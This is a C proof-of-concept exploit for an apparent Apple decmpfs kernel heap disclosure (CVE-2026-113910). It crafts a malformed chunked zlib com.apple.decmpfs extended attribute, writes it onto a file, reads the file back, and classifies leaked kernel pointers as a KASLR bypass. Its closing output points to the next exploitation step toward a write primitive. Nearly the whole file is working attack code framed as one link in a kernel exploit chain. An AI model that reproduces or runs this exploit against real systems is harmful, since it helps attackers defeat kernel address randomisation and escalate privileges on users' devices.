// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910 // Kernel heap disclosure through short-producing chunks // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose // chunks produce fewer bytes than the chunk table promises, writes it onto a file, // reads the file back and classifies every canonical kernel pointer in the result. // // The leak is the chain step, not the whole chain: it discloses heap bytes, it does // not write them. --loop repeats the sweep and aggregates; --keep writes the raw // readback for offline analysis. Candidates are printed, never dereferenced. // // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c // Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose] #include #include #include #include #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } static void le32(buf *b, uint32_t v) { bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); } static void le64(buf *b, uint64_t v) { for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff)); } static void be32(buf *b, uint32_t v) { bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); } // ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ── // 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks // whose zlib streams produce only `produce` bytes each static uint32_t adler32(const uint8_t *p, size_t n) { uint32_t a = 1, b = 0; for (size_t i = 0; i < n; i++) { a = (a + p[i]) % 65521; b = (b + a) % 65521; } return (b << 16) | a; } static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) { buf out = {0}; le32(&out, 0x636D7066); // 'cmpf' le32(&out, 4); // typeZlibChunked le64(&out, (uint64_t)uncompressed); // per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41 buf payload = {0}; brep(&payload, 0x41, produce); buf z = {0}; bput(&z, 0x78); bput(&z, 0x01); // zlib header size_t off = 0; if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5); while (off < payload.n) { size_t take = payload.n - off < 65535 ? payload.n - off : 65535; bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag le16(&z, (uint16_t)take); le16(&z, (uint16_t)~take); bcat(&z, payload.d + off, take); off += take; } be32(&z, adler32(payload.d, payload.n)); uint32_t offsets[9]; uint32_t running = 0; for (int i = 0; i < chunk_count; i++) { offsets[i] = running; running += (uint32_t)(1 + z.n); // flag byte + zlib stream } offsets[chunk_count] = running; for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]); for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); } bfree(&payload); bfree(&z); return out; } // ── leak classification ── // arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into // the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…). // Anything that looks like a tagged userspace pointer is reported separately; it is // not a KASLR lead. Values are only ever printed. enum ptr_class { PTR_NONE = 0, PTR_KERNEL_TEXT, PTR_KERNEL_DATA, PTR_KERNEL_OTHER, PTR_USER, }; static const char *class_name(int c) { switch (c) { case PTR_KERNEL_TEXT: return "kernel-text"; case PTR_KERNEL_DATA: return "kernel-data"; case PTR_KERNEL_OTHER: return "kernel-other"; case PTR_USER: return "user"; default: return "-"; } } static int classify(uint64_t v) { if (v == 0) return PTR_NONE; if ((v >> 48) == 0xffff) { if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT; if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA; return PTR_KERNEL_OTHER; } if ((v >> 48) == 0x0000) return PTR_USER; return PTR_NONE; } typedef struct { int wrote_xattr; long read_back; long hits; long by_class[5]; char samples[8][40]; int nsamples; char note[128]; } decmpfs_result; static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) { if (r->nsamples >= 8) return; snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s", (unsigned long long)v, off, class_name(cls)); r->nsamples++; } static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce, FILE *keep, int verbose) { decmpfs_result r = {0}; unlink(path); int fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd >= 0) { uint8_t fill[4096]; memset(fill, 0x41, sizeof fill); size_t left = uncompressed < 64 ? 64 : uncompressed; while (left > 0) { size_t take = left < sizeof fill ? left : sizeof fill; if (write(fd, fill, take) != (ssize_t)take) break; left -= take; } close(fd); } buf payload = decmpfs_chunked(uncompressed, chunks, produce); if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) { snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno); bfree(&payload); return r; } r.wrote_xattr = 1; FILE *f = fopen(path, "rb"); if (!f) { snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); bfree(&payload); return r; } buf back = {0}; uint8_t chunk[65536]; size_t got; while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got); fclose(f); r.read_back = (long)back.n; if (keep) { fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n", chunks, produce, uncompressed, back.n); if (back.n) fwrite(back.d, 1, back.n, keep); fputc('\n', keep); } // A pointer can sit at any 8-byte-aligned offset; scan the whole readback. for (size_t i = 0; i + 8 <= back.n; i += 8) { uint64_t v = 0; for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); int cls = classify(v); if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) { r.hits++; r.by_class[cls]++; note_sample(&r, v, i, cls); if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls)); } } snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); bfree(&back); bfree(&payload); return r; } int main(int argc, char **argv) { int loop = 1; int verbose = 0; const char *keep_path = NULL; for (int i = 1; i < argc; i++) { if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]); else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i]; else if (strcmp(argv[i], "--verbose") == 0) verbose = 1; else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; } } if (loop < 1) loop = 1; const char *path = "decmpfs_probe.bin"; struct { int chunks; size_t produce; } configs[] = { {1, 0}, {1, 1}, {2, 1}, {4, 1}, {4, 4096}, {8, 1024}, {4, 65536}, {1, 65536}, }; const int ncfg = (int)(sizeof configs / sizeof configs[0]); FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL; if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; } if (keep) { fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg); } long total_hits = 0; long by_class[5] = {0}; long runs = 0; printf("— baseline: what a plain file reads back —\n"); { unlink(path); int fd = open(path, O_WRONLY | O_CREAT, 0644); if (fd >= 0) { uint8_t a64[64]; memset(a64, 0x41, sizeof a64); for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break; close(fd); } FILE *f = fopen(path, "rb"); if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } } printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg); for (int l = 0; l < loop; l++) { for (int i = 0; i < ncfg; i++) { size_t uncompressed = (size_t)configs[i].chunks * 65536; decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce, keep, verbose); runs++; total_hits += r.hits; for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c]; if (r.hits > 0 || verbose) { printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]); } } } // Class totals are what matter here; the raw bytes are in --keep for offline work. unlink(path); if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); } printf("\n== leak summary ==\n"); printf("runs=%ld hits=%ld\n", runs, total_hits); printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]); printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]); printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]); if (total_hits > 0) { printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n"); printf("Next step is not a write: map which object owns the leaked slot, then check\n"); printf("whether the same chunk table can be pointed at that slot again.\n"); } else { printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n"); } printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n"); return total_hits > 0 ? 0 : 0; }